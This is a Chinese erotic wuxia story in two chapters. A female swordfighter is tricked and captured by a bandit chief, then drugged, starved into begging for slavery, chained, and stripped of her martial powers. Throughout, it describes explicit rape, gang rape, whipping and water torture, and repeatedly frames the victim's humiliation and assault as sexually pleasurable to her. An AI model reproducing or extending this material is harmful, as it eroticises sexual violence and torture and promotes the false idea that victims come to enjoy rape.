第一章、身陷匪窝
时间回到几年前,当时林雨芬虽然只有区区20岁,但是因为有名师指点,又是武林世家出身,武功已经相当厉害,独自出来行走江湖也已经3年多,在此期间,她行侠仗义,锄强扶弱,不愧为一代女侠,又因为她武艺和姿容同样绝伦,更有「倾国女侠」的美名流传在外。
这一日林雨芬在客栈醒来,和与自己从小一起长大的丫鬟小艳收拾好行李准备上路——毕竟是世家背景,出来闯荡江湖也带这个丫鬟,不过这个小艳也自小习武,功夫也很了得。
两人结了帐出去,却看到客栈门前的集市上全都在贩卖同一种东西——月饼,出门三年,又快到中秋佳节了,雨芬想到爹娘叔舅和兄弟姐妹们不禁怅然,自己虽然一届女流,但是却很活泼好动,对新鲜事物非常感兴趣,所以一直闹着要闯江湖,后来雨芬的父亲禁不住她哭闹,再则雨芬确实天资聪慧,小小年纪就武功高强,江湖之内已经很少有人是她对手,才肯放她走,而此时比她年长的哥哥姐姐都还被留在家里勤学苦练。
但是毕竟年少,玉芬在外面闯荡了3年,虽然乐在其中,但是也常常想家,又到中秋,这股感情更加浓厚,美人呆立在那里,目光愀然,直勾勾的注视前方颇有几分哀怨,淡淡的梳妆颇有些小家碧玉之感,不少路人不经意看到雨芬也竟然驻足不前痴痴的看着这个思乡的大美女,何况她身边的丫鬟小艳也人如其名,颇为秀美艳丽,两个玉人同时出现,更引来无数目光。
雨芬想的出神并没注意身上已经汇集了众多目光,但小艳已被众人看的有些不自然了,毕竟是从小一起长大心意相通,她忙把雨芬拉到一旁避开众人,然后问道:「小姐,是不是看到中秋节来了想家了?」
雨芬叹气说:「唉呀,出门3年了,都不知道家里什么样了呢。」
「不如我们回去看看吧。」小艳鼓动道。
「回家?」雨芬眼前一亮,是阿,终于可以回家看看了,于是兴高采烈的拉起小艳的手蹦蹦跳跳兴奋得笑着说:「是啊,我们回家吧,爹娘一定会很高兴呢。」
两人主意已定,便立刻启程,虽然离中秋还有几天,可是她们所在的地方离雨芬的家还很远,要赶上节日必须得施展轻功日夜兼程,不过这经历对于雨芬主仆来说已经有过几次了,虽然每次完事儿后都很累,但是为了回家一切也就忍了。
赶了两天两夜的路,这一日主仆二人到了一个小村外,小艳功夫差了些,48小时疾跑和2天不睡觉已经撑不下去了,雨芬自己也很累了,于是两人决定在此投宿一宿,然后第二天继续赶路。
进了小村,却见满地狼藉,房屋也损毁严重,一些地方还着着火,再往里走就看到了几具尸体横七竖八的倒在路上屋里,显然这个村子刚刚被洗劫过。
找了许久都没有找到一个活人,雨芬见状大怒,侠女本色顿时显现,声言一定要抓到歹徒绳之以法。但是小艳却劝阻她道:「小姐,现在我们找不到活口,也就找不到那群歹徒,如果在此迁延下去恐怕也很难有什么头绪,何况我们还要到回家,不如等中秋过后再来慢慢探查。」
「哼,本小姐一定要把他们绳之以法!」雨芬怒斥道,然后也不得不听从了小艳的劝告准备离开。
两人即将走出小村时,村口一个土堆忽然陷了下去,雨芬大惊,立刻拔出长剑和小艳一左一右飞身向前,两人把剑一交,正好卡在了土堆陷下去后冒出来的那个脑袋上……
那个脑袋忽然被两口长剑扼住咽喉,登时出了一身冷汗,哀求道:「女……女大王饶命……小的实在没有钱了……」
「去死!你才是女大王!你这小小蟊贼,竟然还敢诬陷本小姐!」雨芬娇声呵斥道。
「小的万万不敢阿……小的家里世代务农,攒不下几个钱,估计也被刚才的山大王们拿走了,求女大王……哦不,女侠饶命啊!」
「你?」林雨芬发现自己似乎误把好人当成贼寇了,「不是土匪么?」
那脑袋忙说:「小的是本村的居民阿,山大王来袭击我们,小的躲进了这个地道才逃得性命,不想出来又碰到了女侠……」
果然是冤枉了好人,林雨芬和小艳忙把佩剑收起,并把那人拉出来,1米7几个头的男性,相貌平常,那人既然得救,忙要道谢,但是抬头看见了雨芬,却呆住不动,俩眼就直直的盯着雨芬,看得雨芬都有点不好意思了。
「你……你这是干什么?」雨芬脸有些微红的说。
那人这才收回神说道:「实在是女侠……女侠太美了,简直是天仙,比西村郑大官人的五姨太都强千倍万倍,小的看得有些入迷,求女侠见谅。」
女人听到这么露骨的恭维总是很高兴得,雨芬也不例外,笑得像朵桃花一样,「真的啊!那个郑大官人的五姨太是不是就是你们这里最漂亮的女人啦?」
「当然了,郑大官人为了追她可花了大本钱,和东村的李大官人为了抢她闹翻了,最后贿赂了县太爷把李大官人扣了个罪名押在牢里直到他认忪。」
雨芬听了更加高兴,但是小艳在一旁倒还冷静,问道:「这位大哥,请你还是先讲一讲这里怎么会这样吧。」
那人叹了口气,说:「小的姓陈,世代在此务农,人都叫我陈二,去年我们村北山上来了一伙儿山贼,他们四处抢掠,如果没拿到钱就会屠杀,好几个村子都被他们灭掉了,官兵去清剿过都没成功,我们村相对比较富裕,但是他们几次过来已经弄得我们这里有的人已经开始卖儿卖女了,昨天他们又来了,我们村实在没钱了,他们就把我们屠杀了,多亏我跑的快藏到这地道里,要不也死了。」
「好大胆的贼人!」林雨芬怒道,「待本女侠去把他们剿灭了!」
「女侠,您可千万不要鲁莽阿,官兵去都没有成功,您一个人恐怕。」陈二劝阻说。
「是啊,小姐,我们还要回家,不如回家叫些帮手再来。」小艳说道。
「哼,剿灭土匪的事儿我也不是没做过,怕什么!」雨芬道。
小艳看雨芬注意已定,又劝说道:「小姐,不如我先去探查土匪所在,然后您去县衙搬兵,然后一起汇合后再去剿灭土匪。」
雨芬颇为自负的笑了笑,说:「我堂堂倾国女侠,当然是危险的我来,我亲自去匪窝,小艳你去搬救兵!」
「可是」小艳还想再说却被雨芬阻止。
陈二听到倾国女侠四个字大惊失色:「您就是大名鼎鼎的倾国女侠?小的有眼不识泰山!女侠见谅,听说您武功容貌都堪称倾国,今日一见,您的容貌岂止倾国,简直能倾天下,我们村的大仇终于可以报了,请您一定为我们报仇雪恨阿!」说到最后,陈二已经跪伏在地泣不成声。
雨芬听到这一阵吹捧更加自负,连忙打发走小艳,然后就要去找土匪,可是远远望去北山庞大的轮廓,才发现土匪病不好找,又问陈二:「老乡,你知道土匪窝的所在么?」
陈二道:「小的曾经和村长一起到匪窝给他们送过保护费,认得那里,只是那里很隐秘,没法给女侠说清楚怎么走。」
「那你愿意带路么?放心,我一定保护你的安全。」
陈二也一时气血上涌,拍着胸脯说:「我们全村都被土匪杀了,只要能报仇,就是杀了我又有什么!何况带路!」
一个时辰以后,林雨芬和陈二已经在北山里走了很久,隐隐约约看到前面有一座山寨,陈二告诉雨芬那就是土匪的老巢了,不过他知道一条秘道可以绕过这里直奔土匪议事的大厅。
于是雨芬留下了记号以便小艳跟上,自己和陈二左拐右拐来到了一个山洞中,在黑暗中走了一会儿就看到了前面的火光,看来就要到土匪的地头了。
雨芬回头对陈二说:「谢谢你了老乡,你快回去吧,等我端了匪窝再回去找你。」
陈二抱拳施礼,道:「祝女侠旗开得胜。」然后转身离开。
雨芬扭回身继续走,但是却听到背后「啊!」的一声惨叫,雨芬再回头来看,原来陈二不小心踩了机关,腿上受了伤,此时洞前面噪杂之声大作,看来土匪已经发现了她们。
雨芬本想就此杀过去,但是身边有陈二不能动弹也不会武功,看来保护他要紧,只好先退走,于是雨芬扶起陈二一起离开,可是毕竟是女性,扶着一个男人走速度很慢,不过总算也挣扎着走到了洞外,此时雨芬才看到陈二左大腿上已经红成一片!
两人继续逃跑,但是此时前面却冲出十几个山贼截住了去路,左右又冲出七、八个人把雨芬和陈二围在中间。
只能打一架了,雨芬把陈二扶坐在地上,抽出长剑准备搏斗,那二十多个山贼一起杀来,雨芬护住陈二与他们打斗,很快,那些虾兵蟹将就纷纷倒地,但是后面山洞里冲出来的和山寨大门里跑出来的土匪却已经赶到越来越多把雨芬围在中央。
斗了许久,土匪死伤很多,而雨芬因为连日施展轻功赶路,扶着陈二逃跑又费了很大力,体力也消耗很大,于是两边陷入了僵持,雨芬把陈二护在身后面对众匪。
「把你们头目叫出来!」雨芬义正词严的喝道。
于是众贼中走出来一个一米九几身材魁梧的大个子,冲着雨芬调戏道:「怎么?小娘子是来给本大王当压寨夫人的么?模样不错,就不知道你那个小逼好不好了!」立刻引得众匪哄笑。
雨芬大怒,冲上去要杀他,匪徒们见状急忙上前,又是一阵打斗,然后又陷入了僵持,雨芬说到:「你们屠杀村寨,干下那么多伤天害理的事儿,今天本女侠就要替天行道!」
那大个说道:「放屁!什么是天道,天道就是男人操女人,生孩子传宗接代!你要替天行道,就乖乖留下来给弟兄们生孩子。」
雨芬被气得怒不可遏,可是奇怪的是听到这些侮辱的话内心隐隐然竟有些激动,胸脯有些微挺,身上也有点发烫,这倒是以前不曾有过的,难道气急了就会这样么?雨芬虽然二十岁了但是未经历男女之事对此还不知晓,只得乱猜。
雨芬一身短打扮,并没有像大家闺秀一样穿着华丽臃肿的衣服,下身是简单的白色裤子,脚踏黑皮靴,上身也只是简单的穿了一件白色外套,但是这样简单的打扮却把她的身材暴露出来,令眼尖的山贼发现了雨芬的乳房有为微微发涨,「看!这贱货奶子挺起来了!」又引起一阵哄笑。
雨芬感到浑身上下更热了,但是为了女侠的名节也令她非常气愤,挺剑就要杀出,但向前一跃,竟然摔倒在地,脚上似乎被重物所阻!
回头一看,雨芬的双脚已经被戴上了一副生铁打造的起码有十公斤重的脚镣,左脚的镣铐上还连着个大铁球!
「嗯?」雨芬自己还不知道是什么时候被戴上这副刑具,但是她却发现身后的陈二不见了。
「倾国女侠也不过如此阿,被我巧施计策就身陷危局了。」陈二忽然出现在了山贼们的前面面对着雨芬。
「你?」
「我?哈哈,我才是这山寨的真正大王,姓殷,名敬,我们昨天抢了那个村子,没想到那村子的人不识好歹跟我们打起来了,我在混乱之中被几个村民追打,幸好翻进那个地道里,但是一摔就晕了,今天刚出来就碰到了你们,干脆就将计就计把你抓住!」
雨芬大呼上当,忙用剑去砍那脚镣,但是没等砍断,殷敬招呼手下一拥而上打算生擒雨芬,但是雨芬虽然双脚被捆住但是凭借自己的高超武功仍然能和山贼们搏斗,打了半天山贼又死了几个,而雨芬仍然没有被擒,虽然她已经累得有些喘了。
「没想到捆住你的脚你还这么厉害!」殷敬道。「不过我看你也折腾不了多久了!」可是殷敬并没有让手下再打,反而撤掉了所有人只围住雨芬。
雨芬趁机忙砍脚镣,砍了十几下,只听珰的一声,她的长剑折成了两段,而脚镣却安然无恙!
殷敬颇为得意地说:「这是西域玄铁铸造,没有东西能打破它,只有我有钥匙,如果你束手就擒表现好的话,我可以给你打开!否则你带着重镣自己无法移动,我就把你困在这里几天,等你饿得没劲了我抓你也是易如反掌。」
雨芬绝望了……他没想到三年前离开家后到今天竟然犯到这群山贼手里,长叹一声,道:「本女侠死也不会被你们玷污的。」说罢手持那半截断剑就往喉咙里刺。
「且慢!」殷敬止道,他一挥手,被带上来七、八个五花大绑的百姓,「这些是那个村子活下来的人,今天你要是敢自杀,我把他们全都杀掉!」
「你!」雨芬见自杀也不成了,好几天积累下的疲劳让她一下瘫坐在地上,差点就哭出来。
殷敬继续说:「如果你束手就擒,我倒可以考虑放他们一马!」
雨芬不答,殷敬说道:「那我等你的回话了,我倒看你能撑到什么时候!」
不久日头当空,太阳暴晒着雨芬,她非常口渴,但是自己双脚被铐住丝毫不能动,她想喝水,而二米开外就有一条小溪,可是就是到不了,身边那些山贼却拿着水大口大口的喝。让雨芬羡慕不已。
过了一会儿,有个山贼又拿出一个水袋打开喝,但是却一口把水都吐了出来:「操!这什么水啊,这么难喝!」说着就把水袋随便一扔,却正好扔到了雨芬的身边。
雨芬渴极了,也不管丢人与否了,立刻抱起那个水袋大口大口喝了起来,不过味道确实有些哭,可是她渴极了也顾不了这么多了,一大袋水下肚,雨芬终于恢复了些体力,她计划等小艳搬来救兵就一切都好了,所以目前只要跟他们僵持就足够了。
过了一会儿,雨芬绝的尿道传来了阵阵的尿意——喝了那么一大袋子水不方便才怪,很快就已经憋不住了,可是身边有很多男性的山贼在监视她,怎么能尿的,雨芬把两腿放平坐在地上,双手向后撑着地,使劲地夹紧了两腿憋着,但是尿还是不听话的一点点的渗了出来,她已经能感到内裤已经湿润了。
最后,雨芬坚持不住,干脆用双手使劲地捂住裆部,那些山贼看见了都淫笑着调戏起哄道:「看!这骚货要撒尿了!」
「真是贱货啊,当着这么多人居然也尿的出来!」
「看她那姿势!」众人于是纷纷凑过来观看雨芬。
雨芬此时内心却很有一种奇怪的想法,理智告诉她这是很丢人的事情,但是内心分明有一个声音告诉她:「尿吧!岔开大腿脱下裤子,使劲地尿吧!」尤其是在众山贼的围观调戏下,这冲动越来越强烈!和刚才被大个子调戏时一样的感觉又上来了,而且更加的强烈,甚至开始娇喘!
乳头也立了起来,而且一种和尿不同的液体也由阴道中大量的分泌了出来,此时雨芬的思想竟然变成了:「尿吧!在这么多人面前尿多爽啊!」只是尊严自己还作为最后一道防线防卫着她最后的尊严。
终于,雨芬坚持不住了,她「啊!」的一声媚叫,听起来一点都不痛苦,反而非常舒服,然后大量尿液渗出了裤子。
那些山贼看到此莫不性欲上涌,大喷鼻血,惊叹之声不绝于耳。
在刺激与耻辱的矛盾中雨芬排尽了尿,看着自己已经被尿液浸湿的裤子,雨芬的眼眶一下就涌出了热泪,她从没有过这样耻辱的遭遇阿,可是还没有让她充分的发泄,强烈的腹痛又让她陷入了痛苦。
那个水,原来是山贼故意丢给雨芬的,里面掺杂了泻药,所以味道有些苦,雨芬渴极了,早就把自己三年积累的那点江湖经验忘在了脑后,幸亏殷敬要活捉她,否则如果是毒药雨芬早就死掉了。
肛门阵阵发紧,腹痛难忍,雨芬再一次夹紧双腿,双手捂住裆部,但是这一次她的冲动更加强烈了,「反正已经当着他们尿了,在排粪还有什么!」
一个人,当生理的痛苦已经无法忍受时,他所需要的仅仅是一个精神上能勉强说的过去的借口,有一就有二,在山贼们第二次的围观与侮辱中,雨芬干脆脱掉了裤子蹲了下来……粪便倾泻而出……
这一夜,雨芬躺在野地中,心情非常的矛盾,为什么明明那么羞耻的事情,自己竟然有那么强烈的冲动去做,而且非常的兴奋呢?还有,自己身体的那种莫名的感觉究竟是什么?
第二天,还在昏睡的雨芬闻到了扑鼻的香味,醒来一看,原来殷敬正带着一伙山贼在她身边烤野味,昨天已经排尽了屎尿,体力消耗又很大,雨芬早已经饿得不行了,看到这样的美食,非常的馋,但是不得不忍住冲动。
殷敬看到雨芬醒来也不理她,自顾自的吃烤肉,和那群山贼一边吃一边赞叹美食,如此一天,山贼们轮番来她面前烤肉,一直到晚上,雨芬被这心里战搞得已经疲惫不堪,肚子里早已经叫唤了。
殷敬终于拿着一个大鸡腿走过来,问道:「想吃么?」
雨芬闭目不答。
殷敬微笑道:「想吃你就求我让我把你抓起来做我们的奴隶!」说罢殷敬把鸡腿扔在地上,用脚踩了又踩,然后扔给了旁边的一条狼狗,然后转身向回走,走了两步又忽然回头,说:「哦,忘了说了,你说为什么官兵来了好几次都不成功呢?我们当山贼的,一定会搞好官民关系的,很多人都去找过官府求他们发兵,可是那帮告状去的最后似乎不是被押在牢里就是被砍头,你说是为什么啊?」
雨芬心里咯噔一下,殷敬这段话明摆着是在告诉她这群山贼已经和县令沆瀣一气了,小艳这次去县衙搬兵,看来也是凶多吉少,自己靠救兵逃生的希望算是断了……这样,林雨芬的前途不是饿死就是被他们抓住。
又过了一天,到了第三天夜里,林雨芬已经饿得快没说话的力气了,看着山贼们轮番在自己面前享用美酒美食,自己已经到崩溃的边缘。
「也罢,只有拼一拼了。」林雨芬告诉自己,先假意投降被他们抓住,等吃饱了身体恢复了再找机会逃跑,眼下只有这一条路了。
殷敬今天已经第三次拿着鸡腿来诱惑她了,这一次他又问:「怎么样,想通了么?」
雨芬羞愧的紧闭着双眼微微的点了点头,轻轻「嗯」了一声。
殷敬大喜,举着鸡腿道:「哈哈,我就知道你熬不过的,那继续啊。」
雨芬自然明白殷敬的意思,但是毕竟身为倾国女侠,那样的话让自己说出来确实很很难,但是也只能委曲求全:「求……求您……求您把我抓起来……」
「让我把你抓起来干什么?」殷敬喝斥说。
雨芬又一阵发热,乳房再次涨起,阴道也胀了起来,很奇怪以前从没遇到过的现象这几天竟然一再出现,她忍着那种燥热低眉下气的说:「求您把我抓起来当……当……奴隶。」等说道奴隶两个字时雨芬的生音已经低得连自己的都听不见了。
殷敬自然要雨芬大点声,雨芬无奈,重复了五遍殷敬才满意。
他让雨芬把断剑扔过来,然后派手下拿着两副玄铁镣铐上去把雨芬的双手和双膝也拷住,只是这两副镣铐比较轻,但对一个女人来说也不容易移动了,而且两副镣铐中间的铁链都有20cm,给她比较大的活动空间。
雨芬的脖子上被戴上了一个项圈,她脚上原来的铁铐被摘下,然后又被戴上了和手部膝部一样的镣铐,又有人拿来一条220cm长的玄铁链,一头系在脚镣铁链中点处,50厘米处锁在膝铐中点,一米处锁在手铐中点,这样雨芬就只能趴跪在地上,行动也只能爬行。
那铁链在手铐过去20cm的长度锁在了雨芬项圈上的铁环中,这样雨芬只能被拉着低着头,没法抬头仰视,能能看到身下的一点地方,最后留出一米的长度交给了殷敬,殷敬握着铁链拉着雨芬转了两圈,然后拿了一个大号的铁制的假阳具,走到雨芬身后,扒开阴道准备塞,但是他发现雨芬还没有被破红,喜道:「这妞还是个雏儿,赚到了啊!」
此时一股淫水竟然从阴道里流了出来,殷敬狠狠地拍了雨芬的美臀一巴掌笑道:「虽然还是雏儿,可看起来真是个淫荡的坯子阿!」于是他就把那假阳具塞进了雨芬的肛门里,雨芬从来没被这种东西插入过,一阵疼痛袭上心头,疼得「啊啊」的大声呻吟。
结束了这样屈辱的捆绑,雨芬已经无法用逃脱了,她现在被捆得像一条母狗一样,可是在全过程中她的乳头一直坚挺着,呼吸很急促,热辣辣的,一种非常饥渴的感觉充斥着,尤其是被殷敬观看私处,不仅淫水流了出来,自己竟然呻吟了起来。
殷敬又把她的衣服全部扒光,在众人对她那魔鬼的身材白皙的皮肤发出不停的赞叹时,雨芬竟然产生了一种飘飘欲仙的感觉。
殷敬蹲下来托起雨芬的头问道:「饿么?」
雨芬点点头,殷敬站起身牵着雨芬走到一棵树下,把铁链拴在树上,然后把这几天来山贼们吃剩下的所有骨头全都倒在了树下,说道:「你现在被捆得像只母狗,所以就像狗一样吃狗食吧,快吃!」
雨芬饿极了,自己既然已经被侮辱到这地步,再加上一直冥冥中存在的那种兴奋,只稍微犹豫了一下,就埋头去啃树下的那一大滩骨头……
吃了很久,雨芬把每块骨头啃了又啃,一直啃掉了最后的一点肉,可还是不饱,殷敬才拿了一只烧鸡给她,雨芬立刻贪婪的狼吞虎咽很快吃掉了,然后趴倒在地,很享受的呆着。
「来人」忽听殷敬一声令下,几个山贼上去按住了并没有恢复多少气力的林雨芬,又加上被重镣束缚,只能任人摆布,她被山贼们翻过来仰面朝天,殷敬叫来一个医生打扮得人,那人打开医药盒,取出金针,对着林雨芬的几个穴位扎了下去,过了1刻钟把针取出来,收拾好走到殷敬身边耳语几句就下去了。
殷敬坏笑着走过来,对莫名其妙的雨芬说:「我自然知道你是假意投降,等你恢复功力后再寻机逃跑,不过我自信靠这西域玄铁打造的镣铐你无法逃脱,再加上我们小心看管,不过毕竟是倾国女侠,我还是小心为上,我已经命医生把你的几处穴道封住,一个月内,你无法使用武功,一个月后,你也需要五天才能恢复功力,以后每隔三十天他都会给你施针,如此一年之后,你的武功就永远也使不出来了,可是你的身体还能运动自如,到时也就是你离开束缚之日,嘿嘿,我们这办法可比江湖通用挑断手筋脚筋的废武功办法人性的多阿。」
「你!你不得好死!我爹我师傅他们知道你不会有好下场的!」林雨芬彻底绝望了,只能歇斯底里的大声咒骂,但是很快就被人堵住了嘴。
面对只能「呜呜」抗议的林雨芬,殷敬蹲下捏着她粉嫩仍然坚挺着的乳头说:「其实我看你是个很淫荡的坯子,发掘一下你一定会爱上奴隶生涯的,到时候你就该感谢我了,嘿嘿。」
第二章、破处
「你……你别过来……」男人倒在地上,没命般的往后爬,全身战栗着发出恐惧的声音。
在他身边,四、五具尸体的伤口上还淌着血,而他面前却是一位美丽非凡的女子,她一身黑纱,却不是宽袍大袖的设计,反而是把黑纱紧紧地包裹住身体,小臂还暴露在外,下身是黑丝裙一直拖到地上,包裹着她那双美腿,因为紧身衣一般的打扮,性感火爆的身材,丰满的乳房,翘起的臀部,整个人散发着性感的气息。
只不过这样一个绝色的大美女手中却握着一把沾满了鲜血的长剑,只听她大喝一声抢步上前,从黑纱裙中抬起大腿一下踢到那男人的命根处,男人疼得尖叫着跳了起来,随后长剑轻出,直直的插入了男人的胸膛。
女子催动内力,只轻轻一抖,男人的尸体就被从长剑上抖了出去,随后收回宝剑继续前行……
这一幕堪称一个经典的江湖场景,但其中有一个镜头却很奇怪,当女子伸腿踢出时,长裙在内力震动下像被风吹起般飞散四起,我们才发现那条裙子实际上是很多条黑色的纱布条而已,并不是一整块,而她的下摆中的双腿竟然是赤裸着一点遮盖都没有——除了一双白色的布靴。
不久女子走到了一处山寨前,正是殷敬的老巢,山贼们早就发现了这个女人,因此寨门前早已有十几个山贼站成一排,殷敬则在寨门门洞内站着。
那女子抽出长剑,大喝一声:「殷敬,你对我诸多侮辱,今天本姑娘就是来报仇的!我劝你自己出来受死我还能放过你这山寨的其他人,不然你们和刚才那几个人都是同样的下场!」
殷敬大笑道:「老子抓住过你一次就能再抓你二次,正愁没有女人玩呢,没想到你又自己送上门来了。」
那女子大怒拔剑上前,十几个山贼一齐杀出,但是很快就全都成了刀下鬼,可是殷敬却不慌不忙,看到女子伸腿踢人时露出裸露的大腿还不忘嘲讽一下:「哈哈,看看你现在的样子,来报仇还光着你那条浪腿,我看你分明是来找男人的,来来来,到老子这来,老子让你那里好好爽爽。」
此时那女人已经把十几个山贼都料理了,冷笑着说道:「下一个就是你了。」
「靠!」殷敬说道:「哪次玩你不是老子第一个,还下一个!你哪次有权利选择下一个是谁干你了!」
那女人更加愤怒,施展轻功一跃到了门洞里,把剑朝着殷敬一横,怒斥道:「今天就是你的死期!」
殷敬见状不妙急忙躲闪,他四处用脚狠的朝地上跺,口里大喊:「可恶!」而女子已经抢到殷敬身前,当她长剑刺出就要插入殷敬胸膛的时候,殷敬的嘴角却露出了一丝奸笑,原来他看到那女子一脚踩到了一块方砖上,那方砖立刻下陷,只听「噗嗵」一声,那女子脚下露出了一个大洞,整个人立刻掉了下去。
伴随则女人的尖叫声,女人落到了坑底,随后几十道绳索从四面飞出,把她捆了个严严实实,然后上面有落下了一张大网网住了她每一寸皮肤。
半个时辰后,山贼的地牢中,那女人被拔光了衣服无助的被铁链固定在刑架上,但是身体除了掉到坑中的一些擦伤并没有新的伤痕看来还没有遭到虐待。
殷敬带了两个亲信走进了地牢,用手托起女人的脸庞,奸笑道:「林雨芬阿林雨芬,你既然能够逃出去就应该好好过日子,为什么还要回来呢?怎么样,又被抓住了吧。我还想自己踩机关,没想到你自己先中了!」
原来这个前来复仇的女子正是林雨芬,然而这次比起上次被抓她的身体已经成熟性干了许多,完全不再是一个清纯处女的样子了,眉宇间都透着性感,任何男人看到她现在这个样子都绝对会想干之而后快。
林雨芬并没有太反抗,她竟然轻轻地笑了,说道:「事已至此也什么都不说了,既然被你抓住就请便吧。」她咽了口口水,又颇带挑逗的说道:「只是有一点,这次一定要好好看住我啊,千万别让人家有机会逃跑哦,不然就算人家再回来,你们恐怕也无福消受了,现在就随你们玩吧。」
殷敬淫笑着掏出了他那巨大勃起的阳具靠到了林雨芬身上。
时间回到半年前,也就是第一章中林雨芬首次被抓之后。
殷敬带着众山贼晚上大大的吃了一顿来庆祝抓到了鼎鼎有名的倾国女侠,保暖思淫欲,酒足饭饱之后,一个山贼头目举着酒杯走到殷敬身边:「大哥,我看现在把那小妞拉出来让大家爽爽吧。」
「妈的,你小子,人家可是处女,你小子就这么给人家泼了?咱们做贼也得讲道德!」殷敬斥道。
「嘿嘿,大哥是想晚上自己一个人享用吧,大哥放心,这妞第一次肯定是大哥的,谁要想跟大哥争我第一个不答应,是不是弟兄们!」那头目刚说完满屋子的山贼就都喊了起来,吵着要玩今天的战利品。
「妈的,好,拣日不如撞日,今天就把那小妮子给开包了!来呀,把她给牵上来!」殷敬把酒碗一砸。
不一会儿,一个山贼拉着一根铁链走上了大堂,后面跟着全身赤裸被镣铐固定只能爬行着的林雨芬,她自幼娇生惯养,出来闯荡江湖一则武功高强二则家里名头很大,根本没有见过这样的场面,一下子赤身裸体的出现在百十来号大男人的面前,竟然不争气的哭了起来。
「哭什么哭!能伺候大爷是你的福气!」一个山贼说道,随即引来了一片符合声。
那个拉着她的山贼把铁链放到林雨芬的小嘴前:「叼着她,自己爬到大哥那去!」
雨芬哪里肯干,挣扎着要扑上去拼命,无奈玄铁镣铐极大的限制了她的行动,虽然身负上乘武功,但是被针灸了穴位后却根本使不出来,所以刚要扑过去就被一个山贼小兵一脚踹到了小腹倒在地上疼的她直打滚。
另一个山贼走到雨芬身前,抬手就是一鞭:「快去!」
林雨芬无奈,只好委屈的叼起了铁链,在众山贼的一片嘲讽声中,屈辱的向殷敬爬去,虽然只有短短的不到十米的路程,在雨芬看来却要比马拉松还要长,很多山贼色迷迷的在她身上动手动脚,捏捏胸脯拍拍屁股,但是她的嘴上叼着铁链,又只能「呜呜」的哭泣,可是潜意识中雨芬却感到有一丝冲动的兴奋,在这么多男人面前裸露被羞辱,竟然令自己浑身发烫,兴奋异常,下体的小洞中竟然开始有些湿润!林雨芬并不知道这意味着什么,但是觉得这样一定是非常丢人的。
「阿!湿啦,湿啦,这样就湿啦,真是贱啊!」一个山贼处碰到了雨芬的阴道,发现了这个秘密,大声地喊出来,引来很多山贼围观,林雨芬更加感到羞辱了,但奇怪的是私处却越来越湿,最后竟然淌出了液体!
「真是贱货啊!」「太骚拉!」这样的评论此起彼伏,待林雨芬爬到殷敬处时,她脑袋里已经一片空白,然而好戏才刚刚开始。
殷敬从雨芬手中接过铁链,拴在椅子旁边走到雨芬身后,淫笑道:「今天你会感到天堂般的快乐!」
林雨芬还没明白是怎么回事儿,就感到一个硕大的异物钻进了自己的身体,紧接着是一阵疼痛,似乎体内有什么东西被钻破了,一股温暖的液体流出体外。那东西不断的进进出出,让雨芬很疼,疼得尖叫起来。
但是慢慢的疼痛感消失了,快感渐渐产生了,雨芬竟然发现那个东西的进进出出让自己非常爽,非常有快感,而她的尖叫也从持续一秒的大声地「啊」变成了急促的「啊啊」和「嗯——」,与其说是尖叫不如说是呻吟了。
她根本听不见围观人群的评论,但是她猜一定是在说她多么淫荡吧,而这样的想法令她体会到了更强烈的刺激,整个人虽然身陷敌手,却感到了前所未有的快感。
也不知过了多久,那个东西猛地喷出了什么东西,雨芬浑身顿感抽搐,整个人到了快乐的极致,但是此后那个东西拔了出去再也没回来,只有雨芬浑身是汗的趴在地上急促的喘气。
殷敬走到林雨芬面前,指着自己沾满了精液的鸡吧命令道:「舔干净!」林雨芬看着沾满了白色液体的大肉棒,非常的恶心,闭着眼睛和嘴扭过头表示拒绝。
殷敬一把抓起了雨芬的头发,把鸡巴放到了雨芬紧闭的嘴唇上,说道:「嘿嘿,没见过这个么?当年你爸爸就是用他的这个生的你,我也是用这个插进了你的小洞里,你爽完了弄得我这么脏,还不应该你给清洗一下么!」
「原来就是这个东西啊!」雨芬好奇的睁开眼睛看着那个肉棒,竟然不由自主地张开了嘴含了进去,但是却被它狠狠地呛了一下,想吐出来但是殷敬狠狠地把肉棒塞进去根本出不来,林雨芬只好难受的给殷敬添了干净,而在其中她又体验了另一种全新的感觉。
那一夜,林雨芬被百十来个人轮**了,是她的第一次,而从此以后,她将经历更多的性爱。
昏昏沉沉中,林雨芬感到有尖锐的东西扎到了她体内,睁眼看,模模糊糊的看到有人正在她身边,她很渴,想要伸手找水,但是发现手却没有能伸出去,原来她仍然被五华大绑的捆成一团扔到了稻草堆上熟睡了一宿。
「已经第三个月了,大王,再有九个月她就是废人了。」医生收起了金针离开了。
殷敬站在旁边,问林雨芬道:「都三个月了,你还不屈服么?」
林雨芬挣扎着起来,却仍然显得很坚强,殷敬一挥手,两个小山贼就把她架了出去,雨芬被架到一座水牢前,这对林雨芬已经不是第一次了,她先后四次被扔进这里,算上这次已经第五次了。
她双脚被捆在一起吊上一个铁球,然后被山贼一脚踹了下去……
三个月来,林雨芬受到了无数的凌虐,鞭打、滴蜡、当马骑,每天都被很多男人**,3个月内她的身体发育的特别快,乳房越来越挺拔,臀部越来越丰满,所以尽管山寨内的男人们都不止一次的玩过她,但是仍然对这个性感女囚津津乐道。
3个月里林雨芬的思想意识也发生了很大的变化,渐渐的她喜欢上了性交,每日不辍的强暴给了她莫大的快感,她有时候甚至想,如果自己不是女囚的地位而是能够和这些山贼平等相处,这样的生活方式应该是很快乐的。
「可是我是堂堂一代女侠,怎么能被他们这样的侮辱!」林雨芬这样想着,她自认为尊严要求她坚持下去,所以到今天为止,她仍然没有屈服。
殷敬刚回到议事厅就看到一个看门的山贼跑进来报信:「老大,黑风寨的刘寨主来了,就在寨门口。」
这个黑风寨在黑道鼎鼎大名,可以说是黑道第一大寨,寨主刘德十 五 岁开始闯荡江湖到今天已经五十 五 岁了,在江湖成名已久,而且无论在黑道还是白道都有很多朋友,殷敬的爸爸当年也是刘德的铁哥们,后来殷敬自立门户还屡屡受到刘德的帮助,所以这次刘德亲自来,殷敬自然是兴高采烈,吩咐手下快快设宴。
殷敬把刘德接进大厅,寒暄了一阵,刘德问道:「敬儿,听说你前一阵端了一个村子,真真的发了笔横财阿!你小子前途无限阿。」
「刘叔叔严重了,我那点本事根刘叔叔比差远了,不过那次到真是大赚了一笔。」殷敬颇为骄傲的说道。
「哦?难道你得了什么宝物?」
殷敬微笑,对手下道:「把那女囚给带上来。」
林雨芬此时已经在水里泡了块一个时辰了,脚下拴着大铁球,艰难的只能让鼻孔浮在水面,这也呛了好几口水了,不过就她以前的经验,这样的水刑至少要持续一天,没想到的是这么快就有人过来把她捞了出去。
